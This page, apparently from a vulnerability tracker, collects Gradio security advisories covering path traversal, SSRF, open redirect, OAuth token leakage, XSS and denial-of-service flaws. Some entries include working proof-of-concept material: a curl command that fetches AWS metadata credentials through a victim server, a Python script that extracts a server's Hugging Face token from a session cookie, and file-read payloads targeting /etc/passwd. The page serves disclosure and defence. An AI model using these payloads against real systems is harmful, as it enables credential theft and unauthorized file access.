Where
-Infinity
0

Vendor Risk Score

See how gradio project compares to other vendors in security performance

View Risk Score →
Severity
8.7
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Gradio before 6.16.0 contain a path traversal vulnerability in the FileExplorer component's preprocess() method that allows unauthenticated attackers to escape the configured root directory by supplying path segments containing directory traversal sequences or absolute paths. Attackers can provide crafted path segments that cause os.path.join to discard the rootdir prefix entirely, resulting in arbitrary file read or exposure of sensitive files outside the intended directory.

First published (updated )
Severity
1.1
AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N/E:P/RL:O/RC:C

A security flaw has been discovered in gradio-app gradio 6.14.0. This affects the function saveaudiotocache of the component Audio Cache Key Handler. Performing a manipulation results in use of weak hash. The attack must be initiated from a local position. The attack is considered to have high complexity. It is indicated that the exploitability is difficult. The exploit has been released to the public and may be used for attacks. The patch is named 13394. To fix this issue, it is recommended to deploy a patch.

First published (updated )
Severity
7.6
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

Gradio before version 6.15.0 contains a cookie injection vulnerability that allows remote attackers to perform cross-Space session fixation by exploiting a shared module-level HTTP client used across all users in the reverse proxy endpoint. Attackers controlling any HF Space can return a parent-domain cookie that the shared client stores and automatically replays into all subsequent proxy requests to other legitimate Spaces, affecting all users of the same Gradio deployment.

First published (updated )
Severity
8.6
EPSS
0.04%
SSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Summary

A Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses gr.load() to load an attacker-controlled Space, the malicious proxyurl from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure.

Details

The vulnerability exists in Gradio's config processing flow when loading external Spaces:

1. Config Fetching (gradio/external.py:630): gr.load() calls Blocks.fromconfig() which fetches and processes the remote Space's configuration.

2. Proxy URL Trust (gradio/blocks.py:1231-1233): The proxyurl from the untrusted config is added directly to self.proxyurls: python if config.get("proxyurl"): self.proxyurls.add(config["proxyurl"])

3. Built-in Proxy Route (gradio/routes.py:1029-1031): Every Gradio app automatically exposes a /proxy={urlpath} endpoint: python @router.get("/proxy={urlpath:path}", dependencies=[Depends(logincheck)]) async def reverseproxy(urlpath: str):

4. Host-based Validation (gradio/routes.py:365-368): The validation only checks if the URL's host matches any trusted proxyurl host: python issafeurl = any( url.host == httpx.URL(root).host for root in self.blocks.proxyurls )

An attacker can set proxyurl to http://169.254.169.254/ (AWS metadata) or any internal service, and the victim's server will proxy requests to those endpoints.

PoC

Full PoC: https://gist.github.com/logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6

1. Attacker creates a malicious Gradio Space that returns this config: python { "mode": "blocks", "components": [...], "proxyurl": "http://169.254.169.254/" # AWS metadata endpoint }

2. Victim loads the malicious Space: python import gradio as gr demo = gr.load("attacker/malicious-space") demo.launch(servername="0.0.0.0", serverport=7860)

3. Attacker exploits the proxy: bash Fetch AWS credentials through victim's server curl "http://victim:7860/gradioapi/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"

Impact

Who is impacted: - Any Gradio application that uses gr.load() to load external/untrusted Spaces - HuggingFace Spaces that compose or embed other Spaces - Enterprise deployments where Gradio apps have access to internal networks

Attack scenarios: - Cloud credential theft: Access AWS/GCP/Azure metadata endpoints to steal IAM credentials - Internal service access: Reach databases, admin panels, and APIs on private networks - Network reconnaissance: Map internal infrastructure through the victim - Data exfiltration: Access sensitive internal APIs and services

1 / 2
Source: GitHub
First published (updated )
Severity
4.7
EPSS
0.03%
Infoleak
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Summary

The redirecttotarget() function in Gradio's OAuth flow accepts an unvalidated targeturl query parameter, allowing redirection to arbitrary external URLs. This affects the /logout and /login/callback endpoints on Gradio apps with OAuth enabled (i.e. apps running on Hugging Face Spaces with gr.LoginButton).

Details

python

def redirecttotarget(request, defaulttarget="/"): target = request.queryparams.get("targeturl", defaulttarget) return RedirectResponse(target) # No validation An attacker can craft a URL like https://my-space.hf.space/logout?targeturl=https://evil.com/phishing that redirects the user to an external site after logout. Because the URL originates from a trusted hf.space domain, users are more likely to trust the link.

Impact

Phishing — an attacker can use the trusted domain to redirect users to a malicious site. No direct data exposure or server-side impact.

## Fix The targeturl parameter is now sanitized to only use the path, query, and fragment, stripping any scheme or host.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.10%
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary Gradio apps running on Window with Python 3.13+ are vulnerable to an absolute path traversal issue that enables unauthenticated attackers to read arbitrary files from the file system.

Details Python 3.13+ changed the definition of os.path.isabs so that root-relative paths like /windows/win.ini on Windows are no longer considered absolute paths, resulting in a vulnerability in Gradio's logic for joining paths safely.

This can be exploited by unauthenticated attackers to read arbitrary files from the Gradio server, even when Gradio is set up with authentication.

PoC % curl http://10.10.10.10:7860/static//windows/win.ini ; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1

Impact Arbitrary file read in the context of the Windows user running Gradio.

1 / 2
Source: GitHub
First published (updated )
Severity
5.9
EPSS
0.04%
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N

Summary

Gradio applications running outside of Hugging Face Spaces automatically enable "mocked" OAuth routes when OAuth components (e.g. gr.LoginButton) are used. When a user visits /login/huggingface, the server retrieves its own Hugging Face access token via huggingfacehub.gettoken() and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string "-v4", making the payload trivially decodable.

Affected Component

gradio/oauth.py — functions attachoauth(), addmockedoauthroutes(), and getmockedoauthinfo().

Root Cause Analysis

1. Real token injected into every visitor's session

When Gradio detects it is not running inside a Hugging Face Space (getspace() is None), it registers mocked OAuth routes via addmockedoauthroutes() (line 44).

The function getmockedoauthinfo() (line 307) calls huggingfacehub.gettoken() to retrieve the real HF access token configured on the host machine (via HFTOKEN environment variable or huggingface-cli login). This token is stored in a dict that is then injected into the session of any visitor who hits /login/callback (line 183):

python request.session["oauthinfo"] = mockedoauthinfo

The mockedoauthinfo dict contains the real token at key accesstoken (line 329):

python return { "accesstoken": token, # <-- real HF token from server ... }

2. Hardcoded session signing secret

The SessionMiddleware secret is derived from OAUTHCLIENTSECRET (line 50):

python sessionsecret = (OAUTHCLIENTSECRET or "") + "-v4"

When running outside a Space, OAUTHCLIENTSECRET is not set, so the secret becomes the constant string "-v4", hashed with SHA-256. Since this value is public (hardcoded in source code), any attacker can decode the session cookie payload without needing to break the signature.

In practice, Starlette's SessionMiddleware stores the session data as plaintext base64 in the cookie — the signature only provides integrity, not confidentiality. The token is readable by simply base64-decoding the cookie payload.

Attack Scenario

Prerequisites

- A Gradio app using OAuth components (gr.LoginButton, gr.OAuthProfile, etc.) - The app is network-accessible (e.g. servername="0.0.0.0", share=True, port forwarding, etc.) - The host machine has a Hugging Face token configured - OAUTHCLIENTSECRET is not set (default outside of Spaces)

Steps

1. Attacker sends a GET request to http://<target>:7860/login/huggingface 2. The server responds with a 307 redirect to /login/callback 3. The attacker follows the redirect; the server sets a session cookie containing the real HF token 4. The attacker base64-decodes the cookie payload (everything before the first .) to extract the accesstoken

Minimal Vulnerable Application

python import gradio as gr from huggingfacehub import login

login(token="hfxxx...")

def hello(profile: gr.OAuthProfile | None) -> str: if profile is None: return "Not logged in." return f"Hello {profile.name}"

with gr.Blocks() as demo: gr.LoginButton() gr.Markdown().attachloadevent(hello, None)

demo.launch(servername="0.0.0.0")

Proof of Concept

python #!/usr/bin/env python3 """ POC: Gradio mocked OAuth leaks server's HF token via session + weak secret Usage: python exploit.py --target http://victim:7860 python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080 """ import argparse import base64 import json import sys import requests

def main(): ap = argparse.ArgumentParser() ap.addargument("--target", required=True, help="Base URL, e.g. http://host:7860") ap.addargument("--proxy", default=None, help="HTTP proxy, e.g. http://127.0.0.1:8080") args = ap.parseargs()

base = args.target.rstrip("/") proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None

# 1. Trigger mocked OAuth flow — server injects its own HF token into our session s = requests.Session() s.get(f"{base}/login/huggingface", allowredirects=True, verify=False, proxies=proxies)

cookie = s.cookies.get("session") if not cookie: print("[-] No session cookie received; target may not be vulnerable.", file=sys.stderr) sys.exit(1)

# 2. Decode the cookie payload (base64 before the first ".") payloadb64 = cookie.split(".")[0] payloadb64 += "=" (-len(payloadb64) % 4) # fix padding data = json.loads(base64.b64decode(payloadb64)) token = data.get("oauthinfo", {}).get("accesstoken")

if token: print(f"[+] Leaked HF token: {token}") else: print("[-] No accesstoken found in session.", file=sys.stderr) sys.exit(1)

if name == "main": main()

1 / 3
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.07%
Malicious File Upload
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

An arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space.

Description The flagging component doesn't properly validate file paths before copying files. Attackers can send specially crafted requests to the /gradioapi/run/predict endpoint to trigger these file copies.

Source: User-controlled path parameter in the flagging functionality JSON payload Sink: shutil.copy operation in FileData.copytodir() method

The vulnerable code flow: 1. A JSON payload is sent to the /gradioapi/run/predict endpoint 2. The path field within FileData object can reference any file on the system 3. When processing this request, the Component.flag() method creates a GradioDataModel object 4. The FileData.copytodir() method uses this path without proper validation:

python def copytodir(self, dir: str) -> FileData: pathlib.Path(dir).mkdir(existok=True) newobj = dict(self)

if not self.path: raise ValueError("Source file path is not set") newname = shutil.copy(self.path, dir) # vulnerable sink newobj["path"] = newname return self.class(newobj) 5. The lack of validation allows copying any file the Gradio process can read

PoC The following script demonstrates the vulnerability by copying /etc/passwd from the server to Gradio's flagged directory:

Setup a Gradio app:

python import gradio as gr

def imageclassifier(inp): return {'cat': 0.2, 'dog': 0.8}

test = gr.Interface(fn=imageclassifier, inputs="image", outputs="label")

test.launch(share=True)

Run the PoC:

python import requests

url = "https://[your-gradio-app-url]/gradioapi/run/predict" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10157) AppleWebKit/537.36" }

payload = { "data": [ { "path": "/etc/passwd", "url": "[your-gradio-app-url]", "origname": "networkconfig", "size": 5000, "mimetype": "text/plain", "meta": { "type": "gradio.FileData" } }, {} ], "eventdata": None, "fnindex": 4, "triggerid": 11, "sessionhash": "test123" }

response = requests.post(url, headers=headers, json=payload) print(f"Status Code: {response.statuscode}") print(f"Response Body: {response.text}")

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

An open redirect vulnerability exists in the latest version of gradio-app/gradio. The vulnerability allows an attacker to redirect users to a malicious website by URL encoding. This can be exploited by sending a crafted request to the application, which results in a 302 redirect to an attacker-controlled site.

First published (updated )
Severity
8.2
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

A path traversal vulnerability exists in the Gradio Audio component of gradio-app/gradio, as of version git 98cbcae. This vulnerability allows an attacker to control the format of the audio file, leading to arbitrary file content deletion. By manipulating the output format, an attacker can reset any file to an empty file, causing a denial of service (DOS) on the server.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A vulnerability in the dataframe component of gradio-app/gradio (version git 98cbcae) allows for a zip bomb attack. The component uses pd.readcsv to process input values, which can accept compressed files. An attacker can exploit this by uploading a maliciously crafted zip bomb, leading to a server crash and causing a denial of service.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A Regular Expression Denial of Service (ReDoS) vulnerability exists in the gradio-app/gradio repository, affecting the gr.Datetime component. The affected version is git commit 98cbcae. The vulnerability arises from the use of a regular expression ^(?:\snow\s(?:-\s(\d+)\s([dmhs]))?)?\s$ to process user input. In Python's default regex engine, this regular expression can take polynomial time to match certain crafted inputs. An attacker can exploit this by sending a crafted HTTP request, causing the gradio process to consume 100% CPU and potentially leading to a Denial of Service (DoS) condition on the server.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A Denial of Service (DoS) vulnerability was discovered in the file upload feature of gradio-app/gradio version 0.39.1. The vulnerability is due to improper handling of form-data with a large filename in the file upload request. By sending a payload with an excessively large filename, the server becomes overwhelmed and unresponsive, leading to unavailability for legitimate users.

First published (updated )
Severity
8.7
EPSS
0.04%
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Gradio's Access Control List (ACL) for file paths can be bypassed by altering the letter case of a blocked file or directory path. This vulnerability arises due to the lack of case normalization in the file path validation logic. On case-insensitive file systems, such as those used by Windows and macOS, this flaw enables attackers to circumvent security restrictions and access sensitive files that should be protected.

This issue can lead to unauthorized data access, exposing sensitive information and undermining the integrity of Gradio's security model. Given Gradio's popularity for building web applications, particularly in machine learning and AI, this vulnerability may pose a substantial threat if exploited in production environments.

Affected Version

Gradio <= 5.6.0

Impact

- Unauthorized Access: Sensitive files or directories specified in blockedpaths can be accessed by attackers.

- Data Exposure: Critical files, such as configuration files or user data, may be leaked.

- Security Breach: This can lead to broader application or system compromise if sensitive files contain credentials or API keys.

Root Cause

The blockedpaths parameter in Gradio block's initial configuration is designed to restrict user access to specific files or directories in the local file system. However, it does not account for case-insensitive operating systems, such as Windows and macOS. This oversight enables attackers to bypass ACL restrictions by changing the case of file paths.

Vulnerable snippet:

python https://github.com/gradio-app/gradio/blob/main/gradio/utils.py#L1500-L1517 def isallowedfile( path: Path, blockedpaths: Sequence[str | Path], allowedpaths: Sequence[str | Path], createdpaths: Sequence[str | Path], ) -> tuple[ bool, Literal["inblocklist", "allowed", "created", "notcreatedorallowed"] ]: inblocklist = any( isinorequal(path, blockedpath) for blockedpath in blockedpaths ) if inblocklist: return False, "inblocklist" if any(isinorequal(path, allowedpath) for allowedpath in allowedpaths): return True, "allowed" if any(isinorequal(path, createdpath) for createdpath in createdpaths): return True, "created" return False, "notcreatedorallowed"

Gradio relies on isinorequal to determine if a file path is restricted. However, this logic fails to handle case variations in paths on case-insensitive file systems, leading to the bypass.

Proof of Concept (PoC)

Steps to Reproduce

- Deploy a Gradio demo app on a case-insensitive operating system (e.g., Windows or macOS).

bash import gradio as gr def update(name): return f"Welcome to Gradio, {name}!" with gr.Blocks() as demo: gr.Markdown("Start typing below and then click Run to see the output.") with gr.Row(): inp = gr.Textbox(placeholder="What is your name?") out = gr.Textbox() btn = gr.Button("Run") btn.click(fn=update, inputs=inp, outputs=out) demo.launch(blockedpaths=['resources/admin'], allowedpaths=['resources/'])

- Set up the file system:

- Create a folder named resources in the same directory as the app, containing a file 1.txt.

- Inside the resources folder, create a subfolder named admin containing a sensitive file credential.txt (this file should be inaccessible due to blockedpaths).

- Perform the attack:

- Access the sensitive file using a case-altered path:

http://127.0.0.1:PORT/gradioapi/file=resources/adMin/credential.txt

Expected Result

Access to resources/admin/credential.txt should be blocked.

Actual Result

By altering the case in the path (e.g., adMin), the blocked ACL is bypassed, and unauthorized access to the sensitive file is granted.

!image-20241119172439042

This demonstration highlights that flipping the case of restricted paths allows attackers to bypass Gradio's ACL and access sensitive data.

Remediation Recommendations

1. Normalize Path Case:

- Before evaluating paths against the ACL, normalize the case of both the requested path and the blocked paths (e.g., convert all paths to lowercase).

- Example:

python normalizedpath = str(path).lower() normalizedblockedpaths = [str(p).lower() for p in blockedpaths]

2. Update Documentation:

- Warn developers about potential risks when deploying Gradio on case-insensitive file systems.

3. Release Security Patches:

- Notify users of the vulnerability and release an updated version of Gradio with the fixed logic.

##

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Infoleak, Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary If File or UploadButton components are used as a part of Gradio application to preview file content, an attacker with access to the application might abuse these components to read arbitrary files from the application server.

Details Consider the following application where a user can upload a file and preview its content: import gradio as gr

def greet(value: bytes): return str(value)

demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox")

if name == "main": demo.launch()

If we run this application and make the following request (which attempts to read the /etc/passwd file) curl 'http://127.0.0.1:7860/gradioapi/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","origname":"test.txt","size":4,"mimetype":"text/plain","meta":{"type":"gradio.FileData"}}],"eventdata":null,"fnindex":0,"triggerid":8,"sessionhash":"mnv42s5gt7"}'

Then this results in the following error on the server

gradio.exceptions.InvalidPathError: Cannot move /etc/passwd to the gradio cache dir because it was not uploaded by a user.

This is expected. However, if we now remove the "meta":{"type":"gradio.FileData"} from the request: curl 'http://127.0.0.1:7860/gradioapi/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","origname":"test.txt","size":4,"mimetype":"text/plain"}],"eventdata":null,"fnindex":0,"triggerid":8,"sessionhash":"mnv42s5gt7"}' This doesn't cause an error and results in the content of /etc/passwd being shown in the response!

This works because Gradio relies on the processingutils.asyncmovefilestocache to sanitize all incoming file paths in all inputs. This function performs the following operation return await clientutils.asynctraverse( data, movetocache, clientutils.isfileobjwithmeta ) where clientutils.isfileobjwithmeta is used as a filter which tells on which inputs to perform the movetocache function (which also performs the allowed/disallowed check on the file path). The problem is that clientutils.isfileobjwithmeta is not guaranteed to trigger for every input that contains a file path:

def isfileobjwithmeta(d) -> bool: """ Check if the given value is a valid FileData object dictionary in newer versions of Gradio where the file objects include a specific "meta" key, e.g. { "path": "path/to/file", "meta": {"type: "gradio.FileData"} } """ return ( isinstance(d, dict) and "path" in d and isinstance(d["path"], str) and "meta" in d and d["meta"].get("type", "") == "gradio.FileData" )

For example, as in the PoC, the file path won't be checked if the meta key is not present in the request or if type is not gradio.FileData.

Then, the path remains under control of the attacker and is used to read a file in processsinglefile function in file.py and uploadbutton.py (and possibly other places)

PoC As described above, run the following Gradio app

import gradio as gr

def greet(value: bytes): return str(value)

demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox")

if name == "main": demo.launch()

And make the following request curl 'http://127.0.0.1:7860/gradioapi/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","origname":"test.txt","size":4,"mimetype":"text/plain"}],"eventdata":null,"fnindex":0,"triggerid":8,"sessionhash":"mnv42s5gt7"}'

Impact Arbitrary file read in specific Gradio applications that use File or UploadButton components to upload files and echo/preview the content to the user.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
SSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

In gradio <=4.42.0, the gr.DownloadButton function has a hidden server-side request forgery (SSRF) vulnerability. The reason is that within the saveurltocache function, there are no restrictions on the URL, which allows access to local target resources. This can lead to the download of local resources and sensitive information.

First published (updated )
Severity
6.9
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Impact What kind of vulnerability is it? Who is impacted?

This vulnerability involves Cross-Site Scripting (XSS) on any Gradio server that allows file uploads. Authenticated users can upload files such as HTML, JavaScript, or SVG files containing malicious scripts. When other users download or view these files, the scripts will execute in their browser, allowing attackers to perform unauthorized actions or steal sensitive information from their sessions. This impacts any Gradio server that allows file uploads, particularly those using components that process or display user-uploaded files.

Patches Yes, please upgrade to gradio>=5 to address this issue.

Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?

As a workaround, users can restrict the types of files that can be uploaded to the Gradio server by limiting uploads to non-executable file types such as images or text. Additionally, developers can implement server-side validation to sanitize uploaded files, ensuring that HTML, JavaScript, and SVG files are properly handled or rejected before being stored or displayed to users.

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Impact What kind of vulnerability is it? Who is impacted?

This vulnerability involves insecure communication between the FRP (Fast Reverse Proxy) client and server when Gradio's share=True option is used. HTTPS is not enforced on the connection, allowing attackers to intercept and read files uploaded to the Gradio server, as well as modify responses or data sent between the client and server. This impacts users who are sharing Gradio demos publicly over the internet using share=True without proper encryption, exposing sensitive data to potential eavesdroppers.

Patches Yes, please upgrade to gradio>=5 to address this issue.

Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?

As a workaround, users can avoid using share=True in production environments and instead host their Gradio applications on servers with HTTPS enabled to ensure secure communication.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
Race Condition
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H

Impact What kind of vulnerability is it? Who is impacted?

This vulnerability involves a race condition in the updaterootinconfig function, allowing an attacker to modify the root URL used by the Gradio frontend to communicate with the backend. By exploiting this flaw, an attacker can redirect user traffic to a malicious server. This could lead to the interception of sensitive data such as authentication credentials or uploaded files. This impacts all users who connect to a Gradio server, especially those exposed to the internet, where malicious actors could exploit this race condition.

Patches Yes, please upgrade to gradio>=5 to address this issue.

1 / 2
Source: GitHub
First published (updated )
Severity
2.3
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Impact What kind of vulnerability is it? Who is impacted?

This vulnerability involves a timing attack in the way Gradio compares hashes for the analyticsdashboard function. Since the comparison is not done in constant time, an attacker could exploit this by measuring the response time of different requests to infer the correct hash byte-by-byte. This can lead to unauthorized access to the analytics dashboard, especially if the attacker can repeatedly query the system with different keys.

Patches Yes, please upgrade to gradio>4.44 to mitigate this issue.

Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?

To mitigate the risk before applying the patch, developers can manually patch the analyticsdashboard dashboard to use a constant-time comparison function for comparing sensitive values, such as hashes. Alternatively, access to the analytics dashboard can be disabled.

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
Path Traversal, Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Impact What kind of vulnerability is it? Who is impacted?

This is a data validation vulnerability affecting several Gradio components, which allows arbitrary file leaks through the post-processing step. Attackers can exploit these components by crafting requests that bypass expected input constraints. This issue could lead to sensitive files being exposed to unauthorized users, especially when combined with other vulnerabilities, such as issue TOB-GRADIO-15. The components most at risk are those that return or handle file data.

Vulnerable Components: 1. String to FileData: DownloadButton, Audio, ImageEditor, Video, Model3D, File, UploadButton. 2. Complex data to FileData: Chatbot, MultimodalTextbox. 3. Direct file read in preprocess: Code. 4. Dictionary converted to FileData: ParamViewer, Dataset.

Exploit Scenarios: 1. A developer creates a Dropdown list that passes values to a DownloadButton. An attacker bypasses the allowed inputs, sends an arbitrary file path (like /etc/passwd), and downloads sensitive files. 2. An attacker crafts a malicious payload in a ParamViewer component, leaking sensitive files from a server through the arbitrary file leak.

Patches Yes, the issue has been resolved in gradio>5.0. Upgrading to the latest version will mitigate this vulnerability.

1 / 2
Source: GitHub
First published (updated )
Severity
2.1
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Impact This vulnerability is a lack of integrity check on the downloaded FRP client, which could potentially allow attackers to introduce malicious code. If an attacker gains access to the remote URL from which the FRP client is downloaded, they could modify the binary without detection, as the Gradio server does not verify the file's checksum or signature.

Who is impacted? Any users utilizing the Gradio server's sharing mechanism that downloads the FRP client could be affected by this vulnerability, especially those relying on the executable binary for secure data tunneling.

Patches Yes, please upgrade to gradio>=5.0, which includes a fix to verify the integrity of the downloaded binary.

Workarounds There is no direct workaround for this issue without upgrading. However, users can manually validate the integrity of the downloaded FRP client by implementing checksum or signature verification in their own environment to ensure the binary hasn't been tampered with.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
SSRF
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Impact What kind of vulnerability is it? Who is impacted?

This vulnerability relates to Server-Side Request Forgery (SSRF) in the /queue/join endpoint. Gradio’s asyncsaveurltocache function allows attackers to force the Gradio server to send HTTP requests to user-controlled URLs. This could enable attackers to target internal servers or services within a local network and possibly exfiltrate data or cause unwanted internal requests. Additionally, the content from these URLs is stored locally, making it easier for attackers to upload potentially malicious files to the server. This impacts users deploying Gradio servers that use components like the Video component which involve URL fetching.

Patches Yes, please upgrade to gradio>=5 to address this issue.

Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?

As a workaround, users can disable or heavily restrict URL-based inputs in their Gradio applications to trusted domains only. Additionally, implementing stricter URL validation (such as allowinglist-based validation) and ensuring that local or internal network addresses cannot be requested via the /queue/join endpoint can help mitigate the risk of SSRF attacks.

1 / 2
Source: GitHub
First published (updated )
Severity
2.3
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Impact What kind of vulnerability is it? Who is impacted?

This vulnerability involves data exposure due to the enablemonitoring flag not properly disabling monitoring when set to False. Even when monitoring is supposedly disabled, an attacker or unauthorized user can still access the monitoring dashboard by directly requesting the /monitoring endpoint. This means that sensitive application analytics may still be exposed, particularly in environments where monitoring is expected to be disabled. Users who set enablemonitoring=False to prevent unauthorized access to monitoring data are impacted.

Patches Yes, please upgrade to gradio>=4.44 to address this issue.

1 / 2
Source: GitHub
First published (updated )
Severity
2.3
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Impact What kind of vulnerability is it? Who is impacted?

This vulnerability involves a one-level read path traversal in the /customcomponent endpoint. Attackers can exploit this flaw to access and leak source code from custom Gradio components by manipulating the file path in the request. Although the traversal is limited to a single directory level, it could expose proprietary or sensitive code that developers intended to keep private. This impacts users who have developed custom Gradio components and are hosting them on publicly accessible servers.

Patches Yes, please upgrade to gradio>=4.44 to address this issue.

Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?

As a workaround, developers can sanitize the file paths and ensure that components are not stored in publicly accessible directories.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Impact What kind of vulnerability is it? Who is impacted?

This vulnerability relates to CORS origin validation accepting a null origin. When a Gradio server is deployed locally, the localhostaliases variable includes "null" as a valid origin. This allows attackers to make unauthorized requests from sandboxed iframes or other sources with a null origin, potentially leading to data theft, such as user authentication tokens or uploaded files. This impacts users running Gradio locally, especially those using basic authentication.

Patches Yes, please upgrade to gradio>=5.0 to address this issue.

Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?

As a workaround, users can manually modify the localhostaliases list in their local Gradio deployment to exclude "null" as a valid origin. By removing this value, the Gradio server will no longer accept requests from sandboxed iframes or sources with a null origin, mitigating the potential for exploitation.

1 / 2
Source: GitHub
First published (updated )
Severity
2.3
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Impact What kind of vulnerability is it? Who is impacted?

This vulnerability relates to the bypass of directory traversal checks within the isinorequal function. This function, intended to check if a file resides within a given directory, can be bypassed with certain payloads that manipulate file paths using .. (parent directory) sequences. Attackers could potentially access restricted files if they are able to exploit this flaw, although the difficulty is high. This primarily impacts users relying on Gradio’s blocklist or directory access validation, particularly when handling file uploads.

Patches Yes, please upgrade to gradio>=5.0 to address this issue.

Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?

As a workaround, users can manually sanitize and normalize file paths in their Gradio deployment before passing them to the isinorequal function. Ensuring that all file paths are properly resolved and absolute can help mitigate the bypass vulnerabilities caused by the improper handling of .. sequences or malformed paths.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Impact What kind of vulnerability is it? Who is impacted?

This vulnerability is related to CORS origin validation, where the Gradio server fails to validate the request origin when a cookie is present. This allows an attacker’s website to make unauthorized requests to a local Gradio server. Potentially, attackers can upload files, steal authentication tokens, and access user data if the victim visits a malicious website while logged into Gradio. This impacts users who have deployed Gradio locally and use basic authentication.

Patches Yes, please upgrade to gradio>=4.44 to address this issue.

Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?

As a workaround, users can manually enforce stricter CORS origin validation by modifying the CustomCORSMiddleware class in their local Gradio server code. Specifically, they can bypass the condition that skips CORS validation for requests containing cookies to prevent potential exploitation.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
Code Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Withdrawn Advisory This advisory has been withdrawn because the it only affects a user who runs specifically crafted code that happens to use gradio library. More information can be found here.

Original Description Gradio v4.36.1 was discovered to contain a code injection vulnerability via the component /gradio/componentmeta.py. This vulnerability is triggered via a crafted input.

1 / 3
Source: GitHub
First published (updated )
Severity
6.1
EPSS
1.09%
XSS, SSRF
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

An open redirect vulnerability exists in the gradio-app/gradio, affecting the latest version. The vulnerability allows an attacker to redirect users to arbitrary websites, which can be exploited for phishing attacks, Cross-site Scripting (XSS), Server-Side Request Forgery (SSRF), amongst others. This issue is due to improper validation of user-supplied input in the handling of URLs. Attackers can exploit this vulnerability by crafting a malicious URL that, when processed by the application, redirects the user to an attacker-controlled web page.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
